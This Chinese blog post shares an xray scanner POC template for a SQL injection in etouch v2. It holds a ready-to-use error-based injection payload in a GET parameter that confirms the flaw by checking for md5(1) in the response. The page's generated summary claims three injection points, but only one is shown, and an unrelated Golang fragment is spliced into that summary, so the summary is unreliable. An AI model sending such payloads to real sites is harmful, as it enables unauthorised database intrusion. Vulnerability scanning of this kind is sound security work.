xray完美插件poc-yaml-etouch-v2-sqli

网站推广优化yetaoaiueo

于 2022-09-14 10:20:03 发布

阅读量1.3k

点赞数

文章标签：数据库 sql servlet

本文链接：https://blog.youkuaiyun.com/yetaodiao/article/details/126847276

版权

算法模型、信息处理专栏收录该内容

64 篇文章 ¥59.90 ¥99.00

订阅专栏

这篇博客介绍了如何利用Xray进行POC测试，特别是针对etouch v2的前台SQL注入漏洞。文章详细展示了三个不同的注入点（sqli1, sqli2, sqli3）的GET请求路径和预期响应，说明了如何通过布尔盲注进行利用。" 96145648,5593534,Golang使用Redigo实现Redis发布订阅,"['Golang', 'Redis', 'NoSQL数据库', '缓存']

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

原始yml:name: poc-yaml-etouch-v2-sqli

name: poc-yaml-etouch-v2-sqli
rules:
  - method: GET
    path: >-
      /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)'
    expression: |
      response.status == 200 && response.body.bcontains(b"c4ca4238a0b923820dcc509a6f75849b")
detail:
  author: MaxSecurity(https://github.com/MaxSecurity)
  links:
    - https://github.com/mstxq17/CodeCheck/